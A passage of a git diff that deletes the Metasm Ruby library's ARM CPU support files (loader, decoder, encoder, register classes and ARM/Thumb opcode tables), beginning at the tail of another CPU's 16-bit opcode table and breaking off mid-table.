:cdisps7, :setip - addop16 'bge_s', 0xf640, :cdisps7, :setip - addop16 'blt_s', 0xf680, :cdisps7, :setip - addop16 'ble_s', 0xf6c0, :cdisps7, :setip - addop16 'bhi_s', 0xf700, :cdisps7, :setip - addop16 'bhs_s', 0xf740, :cdisps7, :setip - addop16 'blo_s', 0xf780, :cdisps7, :setip - addop16 'bls_s', 0xf7c0, :cdisps7, :setip - addop16 'bclr_s', 0xb8a0, :cb, :cb2, :cu5 - addop16 'bic_s', 0x7806, :cb, :cb2, :cc - addop16 'bl_s', 0xf800, :cdisps13, :setip, :saveip, :stopexec - addop16 'bmsk_s', 0xb8c0, :cb, :cb2, :cu5 - addop16 'breq_s', 0xe800, :cb, :zero, :cdisps8, :setip - addop16 'brne_s', 0xe880, :cb, :zero, :cdisps8, :setip - addop16 'brk_s', 0x7fff - addop16 'bset_s', 0xb880, :cb, :cb2, :cu5 - addop16 'btst_s', 0xb8e0, :cb, :cu5 - addop16 'cmp_s', 0x7010, :cb, :ch - addop16 'cmp_s', 0xe080, :cb, :cu7 - - # encoded over cmp_s b,h - # addop16 'cmp_s', 0x70d7, :cb, :limm - - addop16 'extb_s', 0x780f, :cb, :cc - addop16 'extw_s', 0x7810, :cb, :cc - addop16 'j_s', 0x7800, :@cb, :setip, :stopexec - addop16 'j_s.d', 0x7820, :@cb, :setip, :stopexec, :delay_slot - addop16 'j_s', 0x7ee0, :@blink, :setip, :stopexec - addop16 'j_s.d', 0x7fe0, :@blink, :setip, :stopexec, :delay_slot - addop16 'jeq_s', 0x7ce0, :@blink, :setip - addop16 'jne_s', 0x7de0, :@blink, :setip - addop16 'jl_s', 0x7840, :@cb, :setip, :saveip, :stopexec - addop16 'jl_s.d', 0x7860, :@cb, :setip, :saveip, :stopexec, :delay_slot - addop16 'ld_s', 0x6000, :ca, :@cbcc - addop16 'ldb_s', 0x6008, :ca, :@cbcc - addop16 'ldw_s', 0x6010, :ca, :@cbcc - addop16 'ld_s', 0x8000, :cc, :@cbu7 - addop16 'ldb_s', 0x8800, :cc, :@cbu5 - addop16 'ldw_s', 0x9000, :cc, :@cbu6 - addop16 'ldw_s.x', 0x9800, :cc, :@cbu6 - addop16 'ld_s', 0xc000, :cb, :@cspu7 - addop16 'ldb_s', 0xc020, :cb, :@cspu7 - addop16 'ld_s', 0xc800, :cr0, :@gps11 - addop16 'ldb_s', 0xca00, :cr0, :@gps9 - addop16 'ldw_s', 0xcc00, :cr0, :@gps10 - addop16 'ld_s', 0xd000, :cb, :@pclu10 - - # FIXME: exact same encoding as asl_s instructions - #addop16 'lsl_s', 0x7818, :cb, :cb2, :cc - #addop16 'lsl_s', 0x6810, :cc, :cb, :cu3 - #addop16 'lsl_s', 0xb800, :cb, :cb2, :cu5 - #addop16 'lsl_s', 0x781d, :cb, :cc - - addop16 'lsr_s', 0x7819, :cb, :cb2, :cc - addop16 'lsr_s', 0xb820, :cb, :cb2, :cu5 - addop16 'lsr_s', 0x781d, :cb, :cc - addop16 'mov_s', 0x7008, :cb, :ch - - # FIXME: same encoding as previous instruction - #addop16 'mov_s', 0x70cf, :cb, :limm - - addop16 'mov_s', 0xd800, :cb, :cu8 - addop16 'mov_s', 0x7018, :ch, :cb - - # TODO seems to overlap with previous instruction - addop16 'mov_s', 0x70df, :zero, :cb - addop16 'mul64_s', 0x780c, :zero, :cb, :cc - addop16 'neg_s', 0x7813, :cb, :cc - addop16 'not_s', 0x7812, :cb, :cc - addop16 'nop_s',0x78e0 - addop16 'unimp_s', 0x79e0 - addop16 'or_s', 0x7805, :cb, :cb2, :cc - addop16 'pop_s', 0xc0c1, :cb - addop16 'pop_s', 0xc0d1, :blink - addop16 'push_s', 0xc0e1, :cb - addop16 'push_s', 0xc0f1, :blink - addop16 'sexb_s', 0x780d, :cb, :cc - addop16 'sexw_s', 0x780e, :cb, :cc - addop16 'st_s', 0xc040, :cb, :@cspu7 - addop16 'stb_s', 0xc060, :cb, :@cspu7 - addop16 'st_s', 0xa000, :cc, :@cbu7 - addop16 'stb_s', 0xa800, :cc, :@cbu5 - addop16 'stw_s', 0xb000, :cc, :@cbu6 - addop16 'sub_s', 0x7802, :cb, :cb2, :cc - addop16 'sub_s', 0x6808, :cc, :cb, :cu3 - addop16 'sub_s', 0xb860, :cb, :cb2, :cu5 - addop16 'sub_s', 0xc1a0, :sp, :sp2, :cu5ee - addop16 'sub_s.ne', 0x78c0, :cb, :c2, :cb3 - addop16 'trap_s', 0x781E, :cu6, :setip, :stopexec - addop16 'tst_s', 0x780b, :cb, :cc - addop16 'xor_s', 0x7807, :cb, :cb2, :cc - end - -end -end diff --git a/lib/metasm/metasm/cpu/arm.rb b/lib/metasm/metasm/cpu/arm.rb deleted file mode 100644 index 29f78f8e3f..0000000000 --- a/lib/metasm/metasm/cpu/arm.rb +++ /dev/null @@ -1,14 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -class Metasm::ARM < Metasm::CPU -end - -require 'metasm/main' -require 'metasm/cpu/arm/parse' -require 'metasm/cpu/arm/encode' -require 'metasm/cpu/arm/decode' -require 'metasm/cpu/arm/render' -require 'metasm/cpu/arm/debug' diff --git a/lib/metasm/metasm/cpu/arm/debug.rb b/lib/metasm/metasm/cpu/arm/debug.rb deleted file mode 100644 index 6c115c47f4..0000000000 --- a/lib/metasm/metasm/cpu/arm/debug.rb +++ /dev/null @@ -1,39 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/arm/opcodes' - -module Metasm -class ARM - def dbg_register_pc - @dbg_register_pc ||= :pc - end - def dbg_register_flags - @dbg_register_flags ||= :flags - end - - def dbg_register_list - @dbg_register_list ||= [:r0, :r1, :r2, :r3, :r4, :r5, :r6, :r7, :r8, :r9, :r10, :r11, :r12, :sp, :lr, :pc] - end - - def dbg_flag_list - @dbg_flag_list ||= [] - end - - def dbg_register_size - @dbg_register_size ||= Hash.new(32) - end - - def dbg_need_stepover(dbg, addr, di) - di and di.opcode.props[:saveip] - end - - def dbg_end_stepout(dbg, addr, di) - di and di.opcode.name == 'foobar' # TODO - end - -end -end diff --git a/lib/metasm/metasm/cpu/arm/decode.rb b/lib/metasm/metasm/cpu/arm/decode.rb deleted file mode 100644 index dae5f1093e..0000000000 --- a/lib/metasm/metasm/cpu/arm/decode.rb +++ /dev/null @@ -1,168 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/cpu/arm/opcodes' -require 'metasm/decode' - -module Metasm -class ARM - # create the bin_mask for a given opcode - def build_opcode_bin_mask(op) - # bit = 0 if can be mutated by an field value, 1 if fixed by opcode - op.bin_mask = 0 - op.fields.each { |k, (m, s)| - op.bin_mask |= m << s - } - op.bin_mask = 0xffffffff ^ op.bin_mask - end - - # create the lookaside hash from the first byte of the opcode - def build_bin_lookaside - lookaside = Array.new(256) { [] } - - opcode_list.each { |op| - build_opcode_bin_mask op - - b = (op.bin >> 20) & 0xff - msk = (op.bin_mask >> 20) & 0xff - b &= msk - - for i in b..(b | (255^msk)) - lookaside[i] << op if i & msk == b - end - } - - lookaside - end - - def decode_findopcode(edata) - return if edata.ptr+4 > edata.length - di = DecodedInstruction.new(self) - val = edata.decode_imm(:u32, @endianness) - di.instance_variable_set('@raw', val) - di if di.opcode = @bin_lookaside[(val >> 20) & 0xff].find { |op| - (not op.props[:cond] or - ((val >> @fields_shift[:cond]) & @fields_mask[:cond]) != 0xf) and - (op.bin & op.bin_mask) == (val & op.bin_mask) - } - end - - def disassembler_default_func - df = DecodedFunction.new - df - end - - def decode_instr_op(edata, di) - op = di.opcode - di.instruction.opname = op.name - val = di.instance_variable_get('@raw') - - field_val = lambda { |f| - r = (val >> @fields_shift[f]) & @fields_mask[f] - case f - when :i12; Expression.make_signed(r, 12) - when :i24; Expression.make_signed(r, 24) - when :i8_12; ((r >> 4) & 0xf0) | (r & 0xf) - when :stype; [:lsl, :lsr, :asr, :ror][r] - when :u; [:-, :+][r] - else r - end - } - - if op.props[:cond] - cd = %w[eq ne cs cc mi pl vs vc hi ls ge lt gt le al][field_val[:cond]] - if cd != 'al' - di.opcode = di.opcode.dup - di.instruction.opname = di.opcode.name.dup - di.instruction.opname[(op.props[:cond_name_off] || di.opcode.name.length), 0] = cd - if di.opcode.props[:stopexec] - di.opcode.props = di.opcode.props.dup - di.opcode.props.delete :stopexec - end - end - end - - op.args.each { |a| - di.instruction.args << case a - when :rd, :rn, :rm; Reg.new field_val[a] - when :rm_rs; Reg.new field_val[:rm], field_val[:stype], Reg.new(field_val[:rs]) - when :rm_is; Reg.new field_val[:rm], field_val[:stype], field_val[:shifti] - when :i12; Expression[field_val[a]] - when :i24; Expression[field_val[a] << 2] - when :i8_r - i = field_val[:i8] - r = field_val[:rotate]*2 - Expression[((i >> r) | (i << (32-r))) & 0xffff_ffff] - when :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12 - b = Reg.new(field_val[:rn]) - o = case a - when :mem_rn_rm; Reg.new(field_val[:rm]) - when :mem_rn_i8_12; field_val[:i8_12] - when :mem_rn_rms; Reg.new(field_val[:rm], field_val[:stype], field_val[:shifti]) - when :mem_rn_i12; field_val[:i12] - end - Memref.new(b, o, field_val[:u], op.props[:baseincr]) - when :reglist - di.instruction.args.last.updated = true if op.props[:baseincr] - msk = field_val[a] - l = RegList.new((0..15).map { |n| Reg.new(n) if (msk & (1 << n)) > 0 }.compact) - l.usermoderegs = true if op.props[:usermoderegs] - l - else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" - end - } - - di.bin_length = 4 - di - end - - def decode_instr_interpret(di, addr) - if di.opcode.args[-1] == :i24 - di.instruction.args[-1] = Expression[di.instruction.args[-1] + addr + 8] - end - di - end - - def backtrace_binding - @backtrace_binding ||= init_backtrace_binding - end - - def init_backtrace_binding - @backtrace_binding ||= {} - end - - def get_backtrace_binding(di) - a = di.instruction.args.map { |arg| - case arg - when Reg; arg.symbolic - when Memref; arg.symbolic(di.address) - else arg - end - } - - if binding = backtrace_binding[di.opcode.name] - binding[di, *a] - else - puts "unhandled instruction to backtrace: #{di}" if $VERBOSE - # assume nothing except the 1st arg is modified - case a[0] - when Indirection, Symbol; { a[0] => Expression::Unknown } - when Expression; (x = a[0].externals.first) ? { x => Expression::Unknown } : {} - else {} - end.update(:incomplete_binding => Expression[1]) - end - - end - - def get_xrefs_x(dasm, di) - if di.opcode.props[:setip] - [di.instruction.args.last] - else - # TODO ldr pc, .. - [] - end - end -end -end diff --git a/lib/metasm/metasm/cpu/arm/encode.rb b/lib/metasm/metasm/cpu/arm/encode.rb deleted file mode 100644 index bf641d1088..0000000000 --- a/lib/metasm/metasm/cpu/arm/encode.rb +++ /dev/null @@ -1,92 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/arm/opcodes' -require 'metasm/encode' - -module Metasm -class ARM - def encode_instr_op(program, instr, op) - base = op.bin - set_field = lambda { |f, v| - v = v.reduce if v.kind_of?(Expression) - case f - when :i8_12 - base = Expression[base, :|, [[v, :&, 0xf], :|, [[v, :<<, 4], :&, 0xf00]]] - next - when :stype; v = [:lsl, :lsr, :asr, :ror].index(v) - when :u; v = [:-, :+].index(v) - end - base = Expression[base, :|, [[v, :&, @fields_mask[f]], :<<, @fields_shift[f]]] - } - - val, mask, shift = 0, 0, 0 - - if op.props[:cond] - coff = op.props[:cond_name_off] || op.name.length - cd = instr.opname[coff, 2] - cdi = %w[eq ne cs cc mi pl vs vc hi ls ge lt gt le al].index(cd) || 14 # default = al - set_field[:cond, cdi] - end - - op.args.zip(instr.args).each { |sym, arg| - case sym - when :rd, :rs, :rn, :rm; set_field[sym, arg.i] - when :rm_rs - set_field[:rm, arg.i] - set_field[:stype, arg.stype] - set_field[:rs, arg.shift.i] - when :rm_is - set_field[:rm, arg.i] - set_field[:stype, arg.stype] - set_field[:shifti, arg.shift] - when :mem_rn_rm, :mem_rn_rms, :mem_rn_i8_12, :mem_rn_i12 - set_field[:rn, arg.base.i] - case sym - when :mem_rn_rm - set_field[:rm, arg.offset.i] - when :mem_rn_rms - set_field[:rm, arg.offset.i] - set_field[:stype, arg.offset.stype] - set_field[:rs, arg.offset.shift.i] - when :mem_rn_i8_12 - set_field[:i8_12, arg.offset] - when :mem_rn_i12 - set_field[:i12, arg.offset] - end - # TODO set_field[:u] etc - when :reglist - set_field[sym, arg.list.inject(0) { |rl, r| rl | (1 << r.i) }] - when :i8_r - b = arg.reduce & 0xffffffff - r = (0..15).find { - next true if b < 0x100 - b = ((b << 2) & 0xffff_ffff) | ((b >> 30) & 3) - false - } - raise EncodeError, "Invalid constant" if not r - set_field[:i8, b] - set_field[:rotate, r] - when :i12, :i24 - val, mask, shift = arg, @fields_mask[sym], @fields_shift[sym] - end - } - - if op.args[-1] == :i24 - # convert label name for branch to relative offset - label = program.new_label('l_'+op.name) - target = val - target = target.rexpr if target.kind_of?(Expression) and target.op == :+ and not target.lexpr - val = Expression[[target, :-, [label, :+, 8]], :>>, 2] - - EncodedData.new('', :export => { label => 0 }) << - Expression[base, :|, [[val, :<<, shift], :&, mask]].encode(:u32, @endianness) - else - Expression[base, :|, [[val, :<<, shift], :&, mask]].encode(:u32, @endianness) - end - end -end -end diff --git a/lib/metasm/metasm/cpu/arm/main.rb b/lib/metasm/metasm/cpu/arm/main.rb deleted file mode 100644 index d474e6702c..0000000000 --- a/lib/metasm/metasm/cpu/arm/main.rb +++ /dev/null @@ -1,72 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' - -module Metasm -class ARM < CPU - class Reg - class << self - attr_accessor :s_to_i, :i_to_s - end - @i_to_s = %w[r0 r1 r2 r3 r4 r5 r6 r7 r8 r9 r10 r11 r12 sp lr pc] - @s_to_i = { 'wr' => 7, 'sb' => 9, 'sl' => 10, 'fp' => 11, 'ip' => 12, 'sp' => 13, 'lr' => 14, 'pc' => 15 } - 15.times { |i| @s_to_i["r#{i}"] = i } - 4.times { |i| @s_to_i["a#{i+1}"] = i } - 8.times { |i| @s_to_i["v#{i+1}"] = i+4 } - - attr_accessor :i, :stype, :shift, :updated - def initialize(i, stype=:lsl, shift=0) - @i = i - @stype = stype - @shift = shift - end - - def symbolic - r = self.class.i_to_s[@i].to_sym - if @stype == :lsl and @shift == 0 - r - else - r # TODO shift/rotate/... - end - end - end - - class Memref - attr_accessor :base, :offset, :sign, :incr - def initialize(base, offset, sign=:+, incr=nil) - @base, @offset, @sign, @incr = base, offset, sign, incr - end - - def symbolic(len=4, orig=nil) - o = @offset - o = o.symbolic if o.kind_of? Reg - p = Expression[@base.symbolic, @sign, o].reduce - Indirection[p, len, orig] - end - end - - class RegList - attr_accessor :list, :usermoderegs - - def initialize(l=[]) - @list = l - end - end - - def initialize(endianness = :little) - super() - @endianness = endianness - @size = 32 - end - - def init_opcode_list - init_latest - @opcode_list - end -end -end - diff --git a/lib/metasm/metasm/cpu/arm/opcodes.rb b/lib/metasm/metasm/cpu/arm/opcodes.rb deleted file mode 100644 index c535077a7b..0000000000 --- a/lib/metasm/metasm/cpu/arm/opcodes.rb +++ /dev/null @@ -1,323 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/arm/main' - -module Metasm -class ARM - private - - # ARM MODE - - def addop(name, bin, *args) - args << :cond if not args.delete :uncond - - suppl = nil - o = Opcode.new name, bin - args.each { |a| - # Should Be One fields - if a == :sbo16 ; o.bin |= 0b1111 << 16 ; next ; end - if a == :sbo12 ; o.bin |= 0b1111 << 12 ; next ; end - if a == :sbo8 ; o.bin |= 0b1111 << 8 ; next ; end - if a == :sbo0 ; o.bin |= 0b1111 << 0 ; next ; end - - o.args << a if @valid_args[a] - o.props[a] = true if @valid_props[a] - o.props.update a if a.kind_of?(Hash) - # special args -> multiple fields - suppl ||= { :i8_r => [:i8, :rotate], :rm_is => [:rm, :stype, :shifti], - :rm_rs => [:rm, :stype, :rs], :mem_rn_rm => [:rn, :rm, :rsx, :u], - :mem_rn_i8_12 => [:rn, :i8_12, :u], - :mem_rn_rms => [:rn, :rm, :stype, :shifti, :i], - :mem_rn_i12 => [:rn, :i12, :u] - }[a] - } - - args.concat suppl if suppl - - args.each { |a| o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a] } - - @opcode_list << o - end - - def addop_data_s(name, op, a1, a2, *h) - addop name, op | (1 << 25), a1, a2, :i8_r, :rotate, *h - addop name, op, a1, a2, :rm_is, *h - addop name, op | (1 << 4), a1, a2, :rm_rs, *h - end - def addop_data(name, op, a1, a2) - addop_data_s name, op << 21, a1, a2 - addop_data_s name+'s', (op << 21) | (1 << 20), a1, a2, :cond_name_off => name.length - end - - def addop_load_puw(name, op, *a) - addop name, op, {:baseincr => :post}, :rd, :u, *a - addop name, op | (1 << 24), :rd, :u, *a - addop name, op | (1 << 24) | (1 << 21), {:baseincr => :pre}, :rd, :u, *a - end - def addop_load_lsh_o(name, op) - addop_load_puw name, op, :rsz, :mem_rn_rm, {:cond_name_off => 3} - addop_load_puw name, op | (1 << 22), :mem_rn_i8_12, {:cond_name_off => 3} - end - def addop_load_lsh - op = 9 << 4 - addop_load_lsh_o 'strh', op | (1 << 5) - addop_load_lsh_o 'ldrd', op | (1 << 6) - addop_load_lsh_o 'strd', op | (1 << 6) | (1 << 5) - addop_load_lsh_o 'ldrh', op | (1 << 20) | (1 << 5) - addop_load_lsh_o 'ldrsb', op | (1 << 20) | (1 << 6) - addop_load_lsh_o 'ldrsh', op | (1 << 20) | (1 << 6) | (1 << 5) - end - - def addop_load_puwt(name, op, *a) - addop_load_puw name, op, *a - addop name+'t', op | (1 << 21), {:baseincr => :post, :cond_name_off => name.length}, :rd, :u, *a - end - def addop_load_o(name, op, *a) - addop_load_puwt name, op, :mem_rn_i12, *a - addop_load_puwt name, op | (1 << 25), :mem_rn_rms, *a - end - def addop_load(name, op) - addop_load_o name, op - addop_load_o name+'b', op | (1 << 22), :cond_name_off => name.length - end - - def addop_ldm_go(name, op, *a) - addop name, op, :rn, :reglist, {:cond_name_off => 3}, *a - end - def addop_ldm_w(name, op, *a) - addop_ldm_go name, op, *a # base reg untouched - addop_ldm_go name, op | (1 << 21), {:baseincr => :post}, *a # base updated - end - def addop_ldm_s(name, op) - addop_ldm_w name, op # transfer regs - addop_ldm_w name, op | (1 << 22), :usermoderegs # transfer usermode regs - end - def addop_ldm_p(name, op) - addop_ldm_s name+'a', op # target memory included - addop_ldm_s name+'b', op | (1 << 24) # target memory excluded, transfer starts at next addr - end - def addop_ldm_u(name, op) - addop_ldm_p name+'d', op # transfer made downward - addop_ldm_p name+'i', op | (1 << 23) # transfer made upward - end - def addop_ldm(name, op) - addop_ldm_u name, op - end - - # ARMv6 instruction set, aka arm7/arm9 - def init_arm_v6 - @opcode_list = [] - - [:baseincr, :cond, :cond_name_off, :usermoderegs, :tothumb, :tojazelle - ].each { |p| @valid_props[p] = true } - - [:rn, :rd, :rm, :crn, :crd, :crm, :cpn, :reglist, :i24, :rm_rs, :rm_is, - :i8_r, :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12 - ].each { |p| @valid_args[p] = true } - - @fields_mask.update :rn => 0xf, :rd => 0xf, :rs => 0xf, :rm => 0xf, - :crn => 0xf, :crd => 0xf, :crm => 0xf, :cpn => 0xf, - :rnx => 0xf, :rdx => 0xf, :rsx => 0xf, - :shifti => 0x1f, :stype => 3, :rotate => 0xf, :reglist => 0xffff, - :i8 => 0xff, :i12 => 0xfff, :i24 => 0xff_ffff, :i8_12 => 0xf0f, - :u => 1, :mask => 0xf, :sbo => 0xf, :cond => 0xf - - @fields_shift.update :rn => 16, :rd => 12, :rs => 8, :rm => 0, - :crn => 16, :crd => 12, :crm => 0, :cpn => 8, - :rnx => 16, :rdx => 12, :rsx => 8, - :shifti => 7, :stype => 5, :rotate => 8, :reglist => 0, - :i8 => 0, :i12 => 0, :i24 => 0, :i8_12 => 0, - :u => 23, :mask => 16, :sbo => 12, :cond => 28 - - addop_data 'and', 0, :rd, :rn - addop_data 'eor', 1, :rd, :rn - addop_data 'xor', 1, :rd, :rn - addop_data 'sub', 2, :rd, :rn - addop_data 'rsb', 3, :rd, :rn - addop_data 'add', 4, :rd, :rn - addop_data 'adc', 5, :rd, :rn - addop_data 'sbc', 6, :rd, :rn - addop_data 'rsc', 7, :rd, :rn - addop_data_s 'tst', (8 << 21) | (1 << 20), :rdx, :rn - addop_data_s 'teq', (9 << 21) | (1 << 20), :rdx, :rn - addop_data_s 'cmp', (10 << 21) | (1 << 20), :rdx, :rn - addop_data_s 'cmn', (11 << 21) | (1 << 20), :rdx, :rn - addop_data 'orr', 12, :rd, :rn - addop_data 'or', 12, :rd, :rn - addop_data 'mov', 13, :rd, :rnx - addop_data 'bic', 14, :rd, :rn - addop_data 'mvn', 15, :rd, :rnx - - addop 'b', 0b1010 << 24, :setip, :stopexec, :i24 - addop 'bl', 0b1011 << 24, :setip, :stopexec, :i24, :saveip - addop 'bkpt', (0b00010010 << 20) | (0b0111 << 4) # other fields are available&unused, also cnd != AL is undef - addop 'blx', 0b1111101 << 25, :setip, :stopexec, :saveip, :tothumb, :h, :uncond, :i24 - addop 'blx', (0b00010010 << 20) | (0b0011 << 4), :setip, :stopexec, :saveip, :tothumb, :rm, :sbo16, :sbo12, :sbo8 - addop 'bx', (0b00010010 << 20) | (0b0001 << 4), :setip, :stopexec, :rm, :sbo16, :sbo12, :sbo8 - addop 'bxj', (0b00010010 << 20) | (0b0010 << 4), :setip, :stopexec, :rm, :tojazelle, :sbo16, :sbo12, :sbo8 - - addop_load 'str', (1 << 26) - addop_load 'ldr', (1 << 26) | (1 << 20) - addop_load_lsh - addop_ldm 'stm', (1 << 27) - addop_ldm 'ldm', (1 << 27) | (1 << 20) - # TODO aliases (http://www.davespace.co.uk/arm/introduction-to-arm/stack.html) - # fd = full descending stmfd/ldmfd = stmdb/ldmia - # ed = empty descending stmed/ldmed = stmda/ldmib - # fa = full ascending stmfa/ldmfa = stmib/ldmda - # ea = empty ascending stmea/ldmea = stmia/ldmdb - - # TODO mrs, [qus]add/sub* - addop 'clz', (0b00010110 << 20) | (0b0001 << 4), :rd, :rm, :sbo16, :sbo8 - addop 'ldrex', (0b00011001 << 20) | (0b1001 << 4), :rd, :rn, :sbo8, :sbo0 - addop 'strex', (0b00011000 << 20) | (0b1001 << 4), :rd, :rm, :rn, :sbo8 - addop 'rev', (0b01101011 << 20) | (0b0011 << 4), :rd, :rm, :sbo16, :sbo8 - addop 'rev16', (0b01101011 << 20) | (0b1011 << 4), :rd, :rm, :sbo16, :sbo8 - addop 'revsh', (0b01101111 << 20) | (0b1011 << 4), :rd, :rm, :sbo16, :sbo8 - addop 'sel', (0b01101000 << 20) | (0b1011 << 4), :rd, :rn, :rm, :sbo8 - - end - - - - # THUMB2 MODE - - def addop_t(name, bin, *args) - o = Opcode.new name, bin - args.each { |a| - o.args << a if @valid_args[a] - o.props[a] = true if @valid_props[a] - o.props.update a if a.kind_of?(Hash) - } - - args.each { |a| o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a] } - - @opcode_list_t << o - end - - def init_arm_thumb2 - @opcode_list_t = [] - @valid_props_t = {} - @valid_args_t = {} - @fields_mask_t = {} - @fields_shift_t = {} - - [:i16, :i16_3_8, :i16_rd].each { |p| @valid_props_t[p] = true } - [:i5, :rm, :rn, :rd].each { |p| @valid_args_t[p] = true } - @fields_mask_t.update :i5 => 0x1f, :i3 => 7, :i51 => 0x5f, - :rm => 7, :rn => 7, :rd => 7, :rdn => 7, :rdn8 => 7 - @fields_shift_t.update :i5 => 6, :i3 => 6, :i51 => 3, - :rm => 6, :rn => 3, :rd => 0, :rdn => 0, :rdn8 => 8 - - addop_t 'mov', 0b000_00 << 11, :rd, :rm - addop_t 'lsl', 0b000_00 << 11, :rd, :rm, :i5 - addop_t 'lsr', 0b000_01 << 11, :rd, :rm, :i5 - addop_t 'asr', 0b000_10 << 11, :rd, :rm, :i5 - - addop_t 'add', 0b000_1100 << 9, :rd, :rn, :rm - addop_t 'add', 0b000_1110 << 9, :rd, :rn, :i3 - addop_t 'sub', 0b000_1101 << 9, :rd, :rn, :rm - addop_t 'sub', 0b000_1111 << 9, :rd, :rn, :i3 - - addop_t 'mov', 0b001_00 << 10, :rdn8, :i8 - addop_t 'cmp', 0b001_01 << 10, :rdn8, :i8 - addop_t 'add', 0b001_10 << 10, :rdn8, :i8 - addop_t 'sub', 0b001_11 << 10, :rdn8, :i8 - - addop_t 'and', (0b010000 << 10) | ( 0 << 6), :rdn, :rm - addop_t 'eor', (0b010000 << 10) | ( 1 << 6), :rdn, :rm # xor - addop_t 'lsl', (0b010000 << 10) | ( 2 << 6), :rdn, :rm - addop_t 'lsr', (0b010000 << 10) | ( 3 << 6), :rdn, :rm - addop_t 'asr', (0b010000 << 10) | ( 4 << 6), :rdn, :rm - addop_t 'adc', (0b010000 << 10) | ( 5 << 6), :rdn, :rm - addop_t 'sbc', (0b010000 << 10) | ( 6 << 6), :rdn, :rm - addop_t 'ror', (0b010000 << 10) | ( 7 << 6), :rdn, :rm - addop_t 'tst', (0b010000 << 10) | ( 8 << 6), :rdn, :rm - addop_t 'rsb', (0b010000 << 10) | ( 9 << 6), :rdn, :rm - addop_t 'cmp', (0b010000 << 10) | (10 << 6), :rdn, :rm - addop_t 'cmn', (0b010000 << 10) | (11 << 6), :rdn, :rm - addop_t 'orr', (0b010000 << 10) | (12 << 6), :rdn, :rm # or - addop_t 'mul', (0b010000 << 10) | (13 << 6), :rdn, :rm - addop_t 'bic', (0b010000 << 10) | (14 << 6), :rdn, :rm - addop_t 'mvn', (0b010000 << 10) | (15 << 6), :rdn, :rm - - addop_t 'add', 0b010001_00 << 8, :rdn, :rm, :dn - addop_t 'cmp', 0b010001_01 << 8, :rdn, :rm, :dn - addop_t 'mov', 0b010001_10 << 8, :rdn, :rm, :dn - - addop_t 'bx', 0b010001_110 << 7, :rm - addop_t 'blx', 0b010001_111 << 7, :rm - - addop_t 'ldr', 0b01001 << 11, :rd, :pc_i8 - addop_t 'str', 0b0101_000 << 9, :rd, :rn, :rm - addop_t 'strh', 0b0101_001 << 9, :rd, :rn, :rm - addop_t 'strb', 0b0101_010 << 9, :rd, :rn, :rm - addop_t 'ldrsb', 0b0101_011 << 9, :rd, :rn, :rm - addop_t 'ldr', 0b0101_100 << 9, :rd, :rn, :rm - addop_t 'ldrh', 0b0101_101 << 9, :rd, :rn, :rm - addop_t 'ldrb', 0b0101_110 << 9, :rd, :rn, :rm - addop_t 'ldrsh', 0b0101_111 << 9, :rd, :rn, :rm - - addop_t 'str', 0b01100 << 11, :rd, :rn, :i5 - addop_t 'ldr', 0b01101 << 11, :rd, :rn, :i5 - addop_t 'strb', 0b01110 << 11, :rd, :rn, :i5 - addop_t 'ldrb', 0b01111 << 11, :rd, :rn, :i5 - addop_t 'strh', 0b10000 << 11, :rd, :rn, :i5 - addop_t 'ldrh', 0b10001 << 11, :rd, :rn, :i5 - addop_t 'str', 0b10010 << 11, :rd, :sp_i8 - addop_t 'ldr', 0b10011 << 11, :rd, :sp_i8 - addop_t 'adr', 0b10100 << 11, :rd, :pc, :i8 - addop_t 'add', 0b10101 << 11, :rd, :sp, :i8 - - # 0b1011 misc - addop_t 'add', 0b1011_0000_0 << 7, :sp, :i7 - addop_t 'sub', 0b1011_0000_1 << 7, :sp, :i7 - addop_t 'sxth', 0b1011_0010_00 << 6, :rd, :rn - addop_t 'sxtb', 0b1011_0010_01 << 6, :rd, :rn - addop_t 'uxth', 0b1011_0010_10 << 6, :rd, :rn - addop_t 'uxtb', 0b1011_0010_11 << 6, :rd, :rn - addop_t 'cbz', 0b1011_0001 << 8, :rd, :i51 - addop_t 'cbnz', 0b1011_1001 << 8, :rd, :i51 - addop_t 'push', 0b1011_0100 << 8, :rlist - addop_t 'push', 0b1011_0101 << 8, :rlist - addop_t 'pop', 0b1011_1100 << 8, :rlist - addop_t 'pop', 0b1011_1101 << 8, :rlist - #addop_t 'unpredictable', 0b1011_0110_0100_0000, :i4 - addop_t 'setendle', 0b1011_0110_0101_0000 - addop_t 'setendbe', 0b1011_0110_0101_1000 - addop_t 'cps', 0b1011_0110_0110_0000 - #addop_t 'unpredictable', 0b1011_0110_0110_1000, :msk_0001_0111 - addop_t 'rev', 0b1011_1010_00 << 6, :rd, :rn - addop_t 'rev16', 0b1011_1010_01 << 6, :rd, :rn - addop_t 'revsh', 0b1011_1010_11 << 6, :rd, :rn - addop_t 'bkpt', 0b1011_1110 << 8, :i8 - addop_t 'it', 0b1011_1111 << 8, :itcond, :itmsk - addop_t 'nop', 0b1011_1111_0000_0000 - addop_t 'yield', 0b1011_1111_0000_0001 - addop_t 'wfe', 0b1011_1111_0000_0010 - addop_t 'wfi', 0b1011_1111_0000_0011 - addop_t 'sev', 0b1011_1111_0000_0100 - addop_t 'nop', 0b1011_1111_0000_0000, :i4 - - - addop_t 'stmia', 0b11000 << 11, :rn, :rlist # 